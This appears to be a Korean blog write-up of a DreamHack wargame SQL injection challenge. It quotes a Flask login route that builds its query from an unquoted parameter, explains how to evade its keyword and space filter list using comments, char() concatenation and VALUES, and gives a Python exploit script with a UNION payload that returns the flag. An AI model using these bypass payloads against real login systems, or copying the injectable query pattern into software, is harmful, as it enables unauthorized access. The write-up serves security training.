https://dreamhack.io/wargame/challenges/1/
난이도: Level 1
def login():
if request.method == 'GET':
return render_template('login.html')
uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()
sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
for x in sqli_filter:
if uid.find(x) != -1:
return 'No Hack!'
if upw.find(x) != -1:
return 'No Hack!'
if level.find(x) != -1:
return 'No Hack!'
with app.app_context():
conn = get_db()
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
try:
req = conn.execute(query)
result = req.fetchone()
if result is not None:
uid = result[0]
if uid == 'admin':
return FLAG
except:
return 'Error!'
return 'Good!'
app.py 코드를 보면 login 함수에서 FLAG 를 출력해주는 것을 확인할 수 있습니다.
로그인 쿼리문을 보면 uid와 upw는 싱글 쿼터로 씌워져 있는 것을 볼 수 있습니다.
그에 반해 level 컬럼은 아무것도 씌워져 있지 않습니다.
즉, level 을 공략하여 Injection 을 시도하면 될 것 같아 보입니다.
우선 SQL 필터에는 크게 select, 공백(' '), admin 키워드 등을 막는 것을 볼 수 있습니다.
1. 공백 우회
공백은 흔히 %20, /**/ 등을 통해 우회할 수 있습니다.
2. admin 우회
admin 키워드는 0x61646d696e 로 우회할 수 있습니다.
위 코드에서 , (콤마) 를 필터하고 있어서 char(0x61,0x64,0x6d,0x69,0x6e)를 사용할 수 없기에
char(0x61)||char(0x64)||char(0x6d)||char(0x69)||char(0x6e) 를 사용해줄 수 있습니다.
3. select 우회
SQLite는 SELECT 구문 대신 VALUES를 사용하여 우회할 수 있습니다.
이를 조합하면 아래와 같이 Injection 쿼리를 작성할 수 있습니다.
1/**/UNION/**/VALUES(char(0x61)||char(0x64)||char(0x6d)||char(0x69)||char(0x6e))
Exploit Code
import requests
url="http://host3.dreamhack.games:10678/login"
data={"uid":"test", "upw":"test", "level":"1/**/UNION/**/VALUES(char(0x61)||char(0x64)||char(0x6d)||char(0x69)||char(0x6e))"}
r = requests.post(url=url, data=data)
print(r.text)
'DreamHack' 카테고리의 다른 글
[DreamHack] login-1 (0) | 2023.06.17 |
---|---|
[DreamHack] XSS Filtering Bypass (1) | 2023.06.15 |
[DreamHack] Command Injection Advanced (0) | 2023.06.13 |
[DreamHack] out_of_bound (0) | 2023.06.09 |
[DreamHack] XSS - 2 (2) | 2023.06.07 |